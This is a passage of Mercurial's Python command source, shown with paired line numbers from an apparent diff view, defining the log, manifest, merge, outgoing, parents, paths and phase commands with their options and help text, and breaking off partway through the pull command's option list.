4480 4483 _(
4481 4484 b'follow changeset history, or file history across copies and renames'
4482 4485 ),
4483 4486 ),
4484 4487 (
4485 4488 b'',
4486 4489 b'follow-first',
4487 4490 None,
4488 4491 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4489 4492 ),
4490 4493 (
4491 4494 b'd',
4492 4495 b'date',
4493 4496 b'',
4494 4497 _(b'show revisions matching date spec'),
4495 4498 _(b'DATE'),
4496 4499 ),
4497 4500 (b'C', b'copies', None, _(b'show copied files')),
4498 4501 (
4499 4502 b'k',
4500 4503 b'keyword',
4501 4504 [],
4502 4505 _(b'do case-insensitive search for a given text'),
4503 4506 _(b'TEXT'),
4504 4507 ),
4505 4508 (
4506 4509 b'r',
4507 4510 b'rev',
4508 4511 [],
4509 4512 _(b'revisions to select or follow from'),
4510 4513 _(b'REV'),
4511 4514 ),
4512 4515 (
4513 4516 b'L',
4514 4517 b'line-range',
4515 4518 [],
4516 4519 _(b'follow line range of specified file (EXPERIMENTAL)'),
4517 4520 _(b'FILE,RANGE'),
4518 4521 ),
4519 4522 (
4520 4523 b'',
4521 4524 b'removed',
4522 4525 None,
4523 4526 _(b'include revisions where files were removed'),
4524 4527 ),
4525 4528 (
4526 4529 b'm',
4527 4530 b'only-merges',
4528 4531 None,
4529 4532 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4530 4533 ),
4531 4534 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4532 4535 (
4533 4536 b'',
4534 4537 b'only-branch',
4535 4538 [],
4536 4539 _(
4537 4540 b'show only changesets within the given named branch (DEPRECATED)'
4538 4541 ),
4539 4542 _(b'BRANCH'),
4540 4543 ),
4541 4544 (
4542 4545 b'b',
4543 4546 b'branch',
4544 4547 [],
4545 4548 _(b'show changesets within the given named branch'),
4546 4549 _(b'BRANCH'),
4547 4550 ),
4548 4551 (
4549 4552 b'B',
4550 4553 b'bookmark',
4551 4554 [],
4552 4555 _(b"show changesets within the given bookmark"),
4553 4556 _(b'BOOKMARK'),
4554 4557 ),
4555 4558 (
4556 4559 b'P',
4557 4560 b'prune',
4558 4561 [],
4559 4562 _(b'do not display revision or any of its ancestors'),
4560 4563 _(b'REV'),
4561 4564 ),
4562 4565 ]
4563 4566 + logopts
4564 4567 + walkopts,
4565 4568 _(b'[OPTION]... [FILE]'),
4566 4569 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4567 4570 helpbasic=True,
4568 4571 inferrepo=True,
4569 4572 intents={INTENT_READONLY},
4570 4573 )
4571 4574 def log(ui, repo, *pats, **opts):
4572 4575 """show revision history of entire repository or files
4573 4576
4574 4577 Print the revision history of the specified files or the entire
4575 4578 project.
4576 4579
4577 4580 If no revision range is specified, the default is ``tip:0`` unless
4578 4581 --follow is set.
4579 4582
4580 4583 File history is shown without following rename or copy history of
4581 4584 files. Use -f/--follow with a filename to follow history across
4582 4585 renames and copies. --follow without a filename will only show
4583 4586 ancestors of the starting revisions. The starting revisions can be
4584 4587 specified by -r/--rev, which default to the working directory parent.
4585 4588
4586 4589 By default this command prints revision number and changeset id,
4587 4590 tags, non-trivial parents, user, date and time, and a summary for
4588 4591 each commit. When the -v/--verbose switch is used, the list of
4589 4592 changed files and full commit message are shown.
4590 4593
4591 4594 With --graph the revisions are shown as an ASCII art DAG with the most
4592 4595 recent changeset at the top.
4593 4596 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4594 4597 involved in an unresolved merge conflict, '_' closes a branch,
4595 4598 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4596 4599 changeset from the lines below is a parent of the 'o' merge on the same
4597 4600 line.
4598 4601 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4599 4602 of a '|' indicates one or more revisions in a path are omitted.
4600 4603
4601 4604 .. container:: verbose
4602 4605
4603 4606 Use -L/--line-range FILE,M:N options to follow the history of lines
4604 4607 from M to N in FILE. With -p/--patch only diff hunks affecting
4605 4608 specified line range will be shown. This option requires --follow;
4606 4609 it can be specified multiple times. Currently, this option is not
4607 4610 compatible with --graph. This option is experimental.
4608 4611
4609 4612 .. note::
4610 4613
4611 4614 :hg:`log --patch` may generate unexpected diff output for merge
4612 4615 changesets, as it will only compare the merge changeset against
4613 4616 its first parent. Also, only files different from BOTH parents
4614 4617 will appear in files:.
4615 4618
4616 4619 .. note::
4617 4620
4618 4621 For performance reasons, :hg:`log FILE` may omit duplicate changes
4619 4622 made on branches and will not show removals or mode changes. To
4620 4623 see all such changes, use the --removed switch.
4621 4624
4622 4625 .. container:: verbose
4623 4626
4624 4627 .. note::
4625 4628
4626 4629 The history resulting from -L/--line-range options depends on diff
4627 4630 options; for instance if white-spaces are ignored, respective changes
4628 4631 with only white-spaces in specified line range will not be listed.
4629 4632
4630 4633 .. container:: verbose
4631 4634
4632 4635 Some examples:
4633 4636
4634 4637 - changesets with full descriptions and file lists::
4635 4638
4636 4639 hg log -v
4637 4640
4638 4641 - changesets ancestral to the working directory::
4639 4642
4640 4643 hg log -f
4641 4644
4642 4645 - last 10 commits on the current branch::
4643 4646
4644 4647 hg log -l 10 -b .
4645 4648
4646 4649 - changesets showing all modifications of a file, including removals::
4647 4650
4648 4651 hg log --removed file.c
4649 4652
4650 4653 - all changesets that touch a directory, with diffs, excluding merges::
4651 4654
4652 4655 hg log -Mp lib/
4653 4656
4654 4657 - all revision numbers that match a keyword::
4655 4658
4656 4659 hg log -k bug --template "{rev}\\n"
4657 4660
4658 4661 - the full hash identifier of the working directory parent::
4659 4662
4660 4663 hg log -r . --template "{node}\\n"
4661 4664
4662 4665 - list available log templates::
4663 4666
4664 4667 hg log -T list
4665 4668
4666 4669 - check if a given changeset is included in a tagged release::
4667 4670
4668 4671 hg log -r "a21ccf and ancestor(1.9)"
4669 4672
4670 4673 - find all changesets by some user in a date range::
4671 4674
4672 4675 hg log -k alice -d "may 2008 to jul 2008"
4673 4676
4674 4677 - summary of all changesets after the last tag::
4675 4678
4676 4679 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4677 4680
4678 4681 - changesets touching lines 13 to 23 for file.c::
4679 4682
4680 4683 hg log -L file.c,13:23
4681 4684
4682 4685 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4683 4686 main.c with patch::
4684 4687
4685 4688 hg log -L file.c,13:23 -L main.c,2:6 -p
4686 4689
4687 4690 See :hg:`help dates` for a list of formats valid for -d/--date.
4688 4691
4689 4692 See :hg:`help revisions` for more about specifying and ordering
4690 4693 revisions.
4691 4694
4692 4695 See :hg:`help templates` for more about pre-packaged styles and
4693 4696 specifying custom templates. The default template used by the log
4694 4697 command can be customized via the ``command-templates.log`` configuration
4695 4698 setting.
4696 4699
4697 4700 Returns 0 on success.
4698 4701
4699 4702 """
4700 4703 opts = pycompat.byteskwargs(opts)
4701 4704 linerange = opts.get(b'line_range')
4702 4705
4703 4706 if linerange and not opts.get(b'follow'):
4704 4707 raise error.InputError(_(b'--line-range requires --follow'))
4705 4708
4706 4709 if linerange and pats:
4707 4710 # TODO: take pats as patterns with no line-range filter
4708 4711 raise error.InputError(
4709 4712 _(b'FILE arguments are not compatible with --line-range option')
4710 4713 )
4711 4714
4712 4715 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4713 4716 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4714 4717 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4715 4718 if linerange:
4716 4719 # TODO: should follow file history from logcmdutil._initialrevs(),
4717 4720 # then filter the result by logcmdutil._makerevset() and --limit
4718 4721 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4719 4722
4720 4723 getcopies = None
4721 4724 if opts.get(b'copies'):
4722 4725 endrev = None
4723 4726 if revs:
4724 4727 endrev = revs.max() + 1
4725 4728 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4726 4729
4727 4730 ui.pager(b'log')
4728 4731 displayer = logcmdutil.changesetdisplayer(
4729 4732 ui, repo, opts, differ, buffered=True
4730 4733 )
4731 4734 if opts.get(b'graph'):
4732 4735 displayfn = logcmdutil.displaygraphrevs
4733 4736 else:
4734 4737 displayfn = logcmdutil.displayrevs
4735 4738 displayfn(ui, repo, revs, displayer, getcopies)
4736 4739
4737 4740
4738 4741 @command(
4739 4742 b'manifest',
4740 4743 [
4741 4744 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4742 4745 (b'', b'all', False, _(b"list files from all revisions")),
4743 4746 ]
4744 4747 + formatteropts,
4745 4748 _(b'[-r REV]'),
4746 4749 helpcategory=command.CATEGORY_MAINTENANCE,
4747 4750 intents={INTENT_READONLY},
4748 4751 )
4749 4752 def manifest(ui, repo, node=None, rev=None, **opts):
4750 4753 """output the current or given revision of the project manifest
4751 4754
4752 4755 Print a list of version controlled files for the given revision.
4753 4756 If no revision is given, the first parent of the working directory
4754 4757 is used, or the null revision if no revision is checked out.
4755 4758
4756 4759 With -v, print file permissions, symlink and executable bits.
4757 4760 With --debug, print file revision hashes.
4758 4761
4759 4762 If option --all is specified, the list of all files from all revisions
4760 4763 is printed. This includes deleted and renamed files.
4761 4764
4762 4765 Returns 0 on success.
4763 4766 """
4764 4767 opts = pycompat.byteskwargs(opts)
4765 4768 fm = ui.formatter(b'manifest', opts)
4766 4769
4767 4770 if opts.get(b'all'):
4768 4771 if rev or node:
4769 4772 raise error.InputError(_(b"can't specify a revision with --all"))
4770 4773
4771 4774 res = set()
4772 4775 for rev in repo:
4773 4776 ctx = repo[rev]
4774 4777 res |= set(ctx.files())
4775 4778
4776 4779 ui.pager(b'manifest')
4777 4780 for f in sorted(res):
4778 4781 fm.startitem()
4779 4782 fm.write(b"path", b'%s\n', f)
4780 4783 fm.end()
4781 4784 return
4782 4785
4783 4786 if rev and node:
4784 4787 raise error.InputError(_(b"please specify just one revision"))
4785 4788
4786 4789 if not node:
4787 4790 node = rev
4788 4791
4789 4792 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4790 4793 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4791 4794 if node:
4792 4795 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4793 4796 ctx = logcmdutil.revsingle(repo, node)
4794 4797 mf = ctx.manifest()
4795 4798 ui.pager(b'manifest')
4796 4799 for f in ctx:
4797 4800 fm.startitem()
4798 4801 fm.context(ctx=ctx)
4799 4802 fl = ctx[f].flags()
4800 4803 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4801 4804 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4802 4805 fm.write(b'path', b'%s\n', f)
4803 4806 fm.end()
4804 4807
4805 4808
4806 4809 @command(
4807 4810 b'merge',
4808 4811 [
4809 4812 (
4810 4813 b'f',
4811 4814 b'force',
4812 4815 None,
4813 4816 _(b'force a merge including outstanding changes (DEPRECATED)'),
4814 4817 ),
4815 4818 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4816 4819 (
4817 4820 b'P',
4818 4821 b'preview',
4819 4822 None,
4820 4823 _(b'review revisions to merge (no merge is performed)'),
4821 4824 ),
4822 4825 (b'', b'abort', None, _(b'abort the ongoing merge')),
4823 4826 ]
4824 4827 + mergetoolopts,
4825 4828 _(b'[-P] [[-r] REV]'),
4826 4829 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4827 4830 helpbasic=True,
4828 4831 )
4829 4832 def merge(ui, repo, node=None, **opts):
4830 4833 """merge another revision into working directory
4831 4834
4832 4835 The current working directory is updated with all changes made in
4833 4836 the requested revision since the last common predecessor revision.
4834 4837
4835 4838 Files that changed between either parent are marked as changed for
4836 4839 the next commit and a commit must be performed before any further
4837 4840 updates to the repository are allowed. The next commit will have
4838 4841 two parents.
4839 4842
4840 4843 ``--tool`` can be used to specify the merge tool used for file
4841 4844 merges. It overrides the HGMERGE environment variable and your
4842 4845 configuration files. See :hg:`help merge-tools` for options.
4843 4846
4844 4847 If no revision is specified, the working directory's parent is a
4845 4848 head revision, and the current branch contains exactly one other
4846 4849 head, the other head is merged with by default. Otherwise, an
4847 4850 explicit revision with which to merge must be provided.
4848 4851
4849 4852 See :hg:`help resolve` for information on handling file conflicts.
4850 4853
4851 4854 To undo an uncommitted merge, use :hg:`merge --abort` which
4852 4855 will check out a clean copy of the original merge parent, losing
4853 4856 all changes.
4854 4857
4855 4858 Returns 0 on success, 1 if there are unresolved files.
4856 4859 """
4857 4860
4858 4861 opts = pycompat.byteskwargs(opts)
4859 4862 abort = opts.get(b'abort')
4860 4863 if abort and repo.dirstate.p2() == repo.nullid:
4861 4864 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4862 4865 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4863 4866 if abort:
4864 4867 state = cmdutil.getunfinishedstate(repo)
4865 4868 if state and state._opname != b'merge':
4866 4869 raise error.StateError(
4867 4870 _(b'cannot abort merge with %s in progress') % (state._opname),
4868 4871 hint=state.hint(),
4869 4872 )
4870 4873 if node:
4871 4874 raise error.InputError(_(b"cannot specify a node with --abort"))
4872 4875 return hg.abortmerge(repo.ui, repo)
4873 4876
4874 4877 if opts.get(b'rev') and node:
4875 4878 raise error.InputError(_(b"please specify just one revision"))
4876 4879 if not node:
4877 4880 node = opts.get(b'rev')
4878 4881
4879 4882 if node:
4880 4883 ctx = logcmdutil.revsingle(repo, node)
4881 4884 else:
4882 4885 if ui.configbool(b'commands', b'merge.require-rev'):
4883 4886 raise error.InputError(
4884 4887 _(
4885 4888 b'configuration requires specifying revision to merge '
4886 4889 b'with'
4887 4890 )
4888 4891 )
4889 4892 ctx = repo[destutil.destmerge(repo)]
4890 4893
4891 4894 if ctx.node() is None:
4892 4895 raise error.InputError(
4893 4896 _(b'merging with the working copy has no effect')
4894 4897 )
4895 4898
4896 4899 if opts.get(b'preview'):
4897 4900 # find nodes that are ancestors of p2 but not of p1
4898 4901 p1 = repo[b'.'].node()
4899 4902 p2 = ctx.node()
4900 4903 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4901 4904
4902 4905 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4903 4906 for node in nodes:
4904 4907 displayer.show(repo[node])
4905 4908 displayer.close()
4906 4909 return 0
4907 4910
4908 4911 # ui.forcemerge is an internal variable, do not document
4909 4912 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4910 4913 with ui.configoverride(overrides, b'merge'):
4911 4914 force = opts.get(b'force')
4912 4915 labels = [b'working copy', b'merge rev']
4913 4916 return hg.merge(ctx, force=force, labels=labels)
4914 4917
4915 4918
4916 4919 statemod.addunfinished(
4917 4920 b'merge',
4918 4921 fname=None,
4919 4922 clearable=True,
4920 4923 allowcommit=True,
4921 4924 cmdmsg=_(b'outstanding uncommitted merge'),
4922 4925 abortfunc=hg.abortmerge,
4923 4926 statushint=_(
4924 4927 b'To continue: hg commit\nTo abort: hg merge --abort'
4925 4928 ),
4926 4929 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4927 4930 )
4928 4931
4929 4932
4930 4933 @command(
4931 4934 b'outgoing|out',
4932 4935 [
4933 4936 (
4934 4937 b'f',
4935 4938 b'force',
4936 4939 None,
4937 4940 _(b'run even when the destination is unrelated'),
4938 4941 ),
4939 4942 (
4940 4943 b'r',
4941 4944 b'rev',
4942 4945 [],
4943 4946 _(b'a changeset intended to be included in the destination'),
4944 4947 _(b'REV'),
4945 4948 ),
4946 4949 (b'n', b'newest-first', None, _(b'show newest record first')),
4947 4950 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4948 4951 (
4949 4952 b'b',
4950 4953 b'branch',
4951 4954 [],
4952 4955 _(b'a specific branch you would like to push'),
4953 4956 _(b'BRANCH'),
4954 4957 ),
4955 4958 ]
4956 4959 + logopts
4957 4960 + remoteopts
4958 4961 + subrepoopts,
4959 4962 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'),
4960 4963 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4961 4964 )
4962 4965 def outgoing(ui, repo, *dests, **opts):
4963 4966 """show changesets not found in the destination
4964 4967
4965 4968 Show changesets not found in the specified destination repository
4966 4969 or the default push location. These are the changesets that would
4967 4970 be pushed if a push was requested.
4968 4971
4969 4972 See pull for details of valid destination formats.
4970 4973
4971 4974 .. container:: verbose
4972 4975
4973 4976 With -B/--bookmarks, the result of bookmark comparison between
4974 4977 local and remote repositories is displayed. With -v/--verbose,
4975 4978 status is also displayed for each bookmark like below::
4976 4979
4977 4980 BM1 01234567890a added
4978 4981 BM2 deleted
4979 4982 BM3 234567890abc advanced
4980 4983 BM4 34567890abcd diverged
4981 4984 BM5 4567890abcde changed
4982 4985
4983 4986 The action taken when pushing depends on the
4984 4987 status of each bookmark:
4985 4988
4986 4989 :``added``: push with ``-B`` will create it
4987 4990 :``deleted``: push with ``-B`` will delete it
4988 4991 :``advanced``: push will update it
4989 4992 :``diverged``: push with ``-B`` will update it
4990 4993 :``changed``: push with ``-B`` will update it
4991 4994
4992 4995 From the point of view of pushing behavior, bookmarks
4993 4996 existing only in the remote repository are treated as
4994 4997 ``deleted``, even if it is in fact added remotely.
4995 4998
4996 4999 Returns 0 if there are outgoing changes, 1 otherwise.
4997 5000 """
4998 5001 opts = pycompat.byteskwargs(opts)
4999 5002 if opts.get(b'bookmarks'):
5000 5003 for path in urlutil.get_push_paths(repo, ui, dests):
5001 5004 dest = path.pushloc or path.loc
5002 5005 other = hg.peer(repo, opts, dest)
5003 5006 try:
5004 5007 if b'bookmarks' not in other.listkeys(b'namespaces'):
5005 5008 ui.warn(_(b"remote doesn't support bookmarks\n"))
5006 5009 return 0
5007 5010 ui.status(
5008 5011 _(b'comparing with %s\n') % urlutil.hidepassword(dest)
5009 5012 )
5010 5013 ui.pager(b'outgoing')
5011 5014 return bookmarks.outgoing(ui, repo, other)
5012 5015 finally:
5013 5016 other.close()
5014 5017
5015 5018 return hg.outgoing(ui, repo, dests, opts)
5016 5019
5017 5020
5018 5021 @command(
5019 5022 b'parents',
5020 5023 [
5021 5024 (
5022 5025 b'r',
5023 5026 b'rev',
5024 5027 b'',
5025 5028 _(b'show parents of the specified revision'),
5026 5029 _(b'REV'),
5027 5030 ),
5028 5031 ]
5029 5032 + templateopts,
5030 5033 _(b'[-r REV] [FILE]'),
5031 5034 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5032 5035 inferrepo=True,
5033 5036 )
5034 5037 def parents(ui, repo, file_=None, **opts):
5035 5038 """show the parents of the working directory or revision (DEPRECATED)
5036 5039
5037 5040 Print the working directory's parent revisions. If a revision is
5038 5041 given via -r/--rev, the parent of that revision will be printed.
5039 5042 If a file argument is given, the revision in which the file was
5040 5043 last changed (before the working directory revision or the
5041 5044 argument to --rev if given) is printed.
5042 5045
5043 5046 This command is equivalent to::
5044 5047
5045 5048 hg log -r "p1()+p2()" or
5046 5049 hg log -r "p1(REV)+p2(REV)" or
5047 5050 hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
5048 5051 hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"
5049 5052
5050 5053 See :hg:`summary` and :hg:`help revsets` for related information.
5051 5054
5052 5055 Returns 0 on success.
5053 5056 """
5054 5057
5055 5058 opts = pycompat.byteskwargs(opts)
5056 5059 rev = opts.get(b'rev')
5057 5060 if rev:
5058 5061 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
5059 5062 ctx = logcmdutil.revsingle(repo, rev, None)
5060 5063
5061 5064 if file_:
5062 5065 m = scmutil.match(ctx, (file_,), opts)
5063 5066 if m.anypats() or len(m.files()) != 1:
5064 5067 raise error.InputError(_(b'can only specify an explicit filename'))
5065 5068 file_ = m.files()[0]
5066 5069 filenodes = []
5067 5070 for cp in ctx.parents():
5068 5071 if not cp:
5069 5072 continue
5070 5073 try:
5071 5074 filenodes.append(cp.filenode(file_))
5072 5075 except error.LookupError:
5073 5076 pass
5074 5077 if not filenodes:
5075 5078 raise error.InputError(_(b"'%s' not found in manifest") % file_)
5076 5079 p = []
5077 5080 for fn in filenodes:
5078 5081 fctx = repo.filectx(file_, fileid=fn)
5079 5082 p.append(fctx.node())
5080 5083 else:
5081 5084 p = [cp.node() for cp in ctx.parents()]
5082 5085
5083 5086 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
5084 5087 for n in p:
5085 5088 if n != repo.nullid:
5086 5089 displayer.show(repo[n])
5087 5090 displayer.close()
5088 5091
5089 5092
5090 5093 @command(
5091 5094 b'paths',
5092 5095 formatteropts,
5093 5096 _(b'[NAME]'),
5094 5097 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5095 5098 optionalrepo=True,
5096 5099 intents={INTENT_READONLY},
5097 5100 )
5098 5101 def paths(ui, repo, search=None, **opts):
5099 5102 """show aliases for remote repositories
5100 5103
5101 5104 Show definition of symbolic path name NAME. If no name is given,
5102 5105 show definition of all available names.
5103 5106
5104 5107 Option -q/--quiet suppresses all output when searching for NAME
5105 5108 and shows only the path names when listing all definitions.
5106 5109
5107 5110 Path names are defined in the [paths] section of your
5108 5111 configuration file and in ``/etc/mercurial/hgrc``. If run inside a
5109 5112 repository, ``.hg/hgrc`` is used, too.
5110 5113
5111 5114 The path names ``default`` and ``default-push`` have a special
5112 5115 meaning. When performing a push or pull operation, they are used
5113 5116 as fallbacks if no location is specified on the command-line.
5114 5117 When ``default-push`` is set, it will be used for push and
5115 5118 ``default`` will be used for pull; otherwise ``default`` is used
5116 5119 as the fallback for both. When cloning a repository, the clone
5117 5120 source is written as ``default`` in ``.hg/hgrc``.
5118 5121
5119 5122 .. note::
5120 5123
5121 5124 ``default`` and ``default-push`` apply to all inbound (e.g.
5122 5125 :hg:`incoming`) and outbound (e.g. :hg:`outgoing`, :hg:`email`
5123 5126 and :hg:`bundle`) operations.
5124 5127
5125 5128 See :hg:`help urls` for more information.
5126 5129
5127 5130 .. container:: verbose
5128 5131
5129 5132 Template:
5130 5133
5131 5134 The following keywords are supported. See also :hg:`help templates`.
5132 5135
5133 5136 :name: String. Symbolic name of the path alias.
5134 5137 :pushurl: String. URL for push operations.
5135 5138 :url: String. URL or directory path for the other operations.
5136 5139
5137 5140 Returns 0 on success.
5138 5141 """
5139 5142
5140 5143 opts = pycompat.byteskwargs(opts)
5141 5144
5142 5145 pathitems = urlutil.list_paths(ui, search)
5143 5146 ui.pager(b'paths')
5144 5147
5145 5148 fm = ui.formatter(b'paths', opts)
5146 5149 if fm.isplain():
5147 5150 hidepassword = urlutil.hidepassword
5148 5151 else:
5149 5152 hidepassword = bytes
5150 5153 if ui.quiet:
5151 5154 namefmt = b'%s\n'
5152 5155 else:
5153 5156 namefmt = b'%s = '
5154 5157 showsubopts = not search and not ui.quiet
5155 5158
5156 5159 for name, path in pathitems:
5157 5160 fm.startitem()
5158 5161 fm.condwrite(not search, b'name', namefmt, name)
5159 5162 fm.condwrite(not ui.quiet, b'url', b'%s\n', hidepassword(path.rawloc))
5160 5163 for subopt, value in sorted(path.suboptions.items()):
5161 5164 assert subopt not in (b'name', b'url')
5162 5165 if showsubopts:
5163 5166 fm.plain(b'%s:%s = ' % (name, subopt))
5164 5167 if isinstance(value, bool):
5165 5168 if value:
5166 5169 value = b'yes'
5167 5170 else:
5168 5171 value = b'no'
5169 5172 fm.condwrite(showsubopts, subopt, b'%s\n', value)
5170 5173
5171 5174 fm.end()
5172 5175
5173 5176 if search and not pathitems:
5174 5177 if not ui.quiet:
5175 5178 ui.warn(_(b"not found!\n"))
5176 5179 return 1
5177 5180 else:
5178 5181 return 0
5179 5182
5180 5183
5181 5184 @command(
5182 5185 b'phase',
5183 5186 [
5184 5187 (b'p', b'public', False, _(b'set changeset phase to public')),
5185 5188 (b'd', b'draft', False, _(b'set changeset phase to draft')),
5186 5189 (b's', b'secret', False, _(b'set changeset phase to secret')),
5187 5190 (b'f', b'force', False, _(b'allow to move boundary backward')),
5188 5191 (b'r', b'rev', [], _(b'target revision'), _(b'REV')),
5189 5192 ],
5190 5193 _(b'[-p|-d|-s] [-f] [-r] [REV...]'),
5191 5194 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
5192 5195 )
5193 5196 def phase(ui, repo, *revs, **opts):
5194 5197 """set or show the current phase name
5195 5198
5196 5199 With no argument, show the phase name of the current revision(s).
5197 5200
5198 5201 With one of -p/--public, -d/--draft or -s/--secret, change the
5199 5202 phase value of the specified revisions.
5200 5203
5201 5204 Unless -f/--force is specified, :hg:`phase` won't move changesets from a
5202 5205 lower phase to a higher phase. Phases are ordered as follows::
5203 5206
5204 5207 public < draft < secret
5205 5208
5206 5209 Returns 0 on success, 1 if some phases could not be changed.
5207 5210
5208 5211 (For more information about the phases concept, see :hg:`help phases`.)
5209 5212 """
5210 5213 opts = pycompat.byteskwargs(opts)
5211 5214 # search for a unique phase argument
5212 5215 targetphase = None
5213 5216 for idx, name in enumerate(phases.cmdphasenames):
5214 5217 if opts[name]:
5215 5218 if targetphase is not None:
5216 5219 raise error.InputError(_(b'only one phase can be specified'))
5217 5220 targetphase = idx
5218 5221
5219 5222 # look for specified revision
5220 5223 revs = list(revs)
5221 5224 revs.extend(opts[b'rev'])
5222 5225 if revs:
5223 5226 revs = logcmdutil.revrange(repo, revs)
5224 5227 else:
5225 5228 # display both parents as the second parent phase can influence
5226 5229 # the phase of a merge commit
5227 5230 revs = [c.rev() for c in repo[None].parents()]
5228 5231
5229 5232 ret = 0
5230 5233 if targetphase is None:
5231 5234 # display
5232 5235 for r in revs:
5233 5236 ctx = repo[r]
5234 5237 ui.write(b'%i: %s\n' % (ctx.rev(), ctx.phasestr()))
5235 5238 else:
5236 5239 with repo.lock(), repo.transaction(b"phase") as tr:
5237 5240 # set phase
5238 5241 if not revs:
5239 5242 raise error.InputError(_(b'empty revision set'))
5240 5243 nodes = [repo[r].node() for r in revs]
5241 5244 # moving revision from public to draft may hide them
5242 5245 # We have to check result on an unfiltered repository
5243 5246 unfi = repo.unfiltered()
5244 5247 getphase = unfi._phasecache.phase
5245 5248 olddata = [getphase(unfi, r) for r in unfi]
5246 5249 phases.advanceboundary(repo, tr, targetphase, nodes)
5247 5250 if opts[b'force']:
5248 5251 phases.retractboundary(repo, tr, targetphase, nodes)
5249 5252 getphase = unfi._phasecache.phase
5250 5253 newdata = [getphase(unfi, r) for r in unfi]
5251 5254 changes = sum(newdata[r] != olddata[r] for r in unfi)
5252 5255 cl = unfi.changelog
5253 5256 rejected = [n for n in nodes if newdata[cl.rev(n)] < targetphase]
5254 5257 if rejected:
5255 5258 ui.warn(
5256 5259 _(
5257 5260 b'cannot move %i changesets to a higher '
5258 5261 b'phase, use --force\n'
5259 5262 )
5260 5263 % len(rejected)
5261 5264 )
5262 5265 ret = 1
5263 5266 if changes:
5264 5267 msg = _(b'phase changed for %i changesets\n') % changes
5265 5268 if ret:
5266 5269 ui.status(msg)
5267 5270 else:
5268 5271 ui.note(msg)
5269 5272 else:
5270 5273 ui.warn(_(b'no phases changed\n'))
5271 5274 return ret
5272 5275
5273 5276
5274 5277 def postincoming(ui, repo, modheads, optupdate, checkout, brev):
5275 5278 """Run after a changegroup has been added via pull/unbundle
5276 5279
5277 5280 This takes arguments below:
5278 5281
5279 5282 :modheads: change of heads by pull/unbundle
5280 5283 :optupdate: updating working directory is needed or not
5281 5284 :checkout: update destination revision (or None to default destination)
5282 5285 :brev: a name, which might be a bookmark to be activated after updating
5283 5286
5284 5287 return True if update raise any conflict, False otherwise.
5285 5288 """
5286 5289 if modheads == 0:
5287 5290 return False
5288 5291 if optupdate:
5289 5292 try:
5290 5293 return hg.updatetotally(ui, repo, checkout, brev)
5291 5294 except error.UpdateAbort as inst:
5292 5295 msg = _(b"not updating: %s") % stringutil.forcebytestr(inst)
5293 5296 hint = inst.hint
5294 5297 raise error.UpdateAbort(msg, hint=hint)
5295 5298 if modheads is not None and modheads > 1:
5296 5299 currentbranchheads = len(repo.branchheads())
5297 5300 if currentbranchheads == modheads:
5298 5301 ui.status(
5299 5302 _(b"(run 'hg heads' to see heads, 'hg merge' to merge)\n")
5300 5303 )
5301 5304 elif currentbranchheads > 1:
5302 5305 ui.status(
5303 5306 _(b"(run 'hg heads .' to see heads, 'hg merge' to merge)\n")
5304 5307 )
5305 5308 else:
5306 5309 ui.status(_(b"(run 'hg heads' to see heads)\n"))
5307 5310 elif not ui.configbool(b'commands', b'update.requiredest'):
5308 5311 ui.status(_(b"(run 'hg update' to get a working copy)\n"))
5309 5312 return False
5310 5313
5311 5314
5312 5315 @command(
5313 5316 b'pull',
5314 5317 [
5315 5318 (
5316 5319 b'u',
5317 5320 b'update',
5318 5321 None,
5319 5322 _(b'update to new branch head if new descendants were pulled'),
5320 5323 ),
5321 5324 (
5322 5325 b'f',
5323 5326 b'force',
5324 5327 None,
5325 5328 _(b'run even when remote repository is unrelated'),
5326 5329 ),
5327 5330 (
5328 5331 b'',
5329 5332 b'confirm',
5330 5333 None,
5331 5334 _(b'confirm pull before applying changes'),
5332 5335 ),
5333 5336 (
5334 5337 b'r',
5335 5338 b'rev',
5336 5339 [],
5337 5340 _(b'a remote changeset intended to be added'),
5338 5341 _(b'REV'),
5339 5342 ),
5340 5343 (b'B', b'bookmark', [], _(b"bookmark to pull"), _(b'BOOKMARK')),
5341 5344 (
5342 5345 b'b',
5343 5346 b'branch',
5344 5347 [],
5345 5348 _(b'a specific branch you would like to pull'),
5346 5349 _(b'BRANCH'),
5347 5350 ),
5348 5351 ]
5349 5352 + remoteopts,
5350 5353 _(b'[-u] [-f] [-r REV]... [-e CMD] [--remotecmd CMD] [SOURCE]...'),
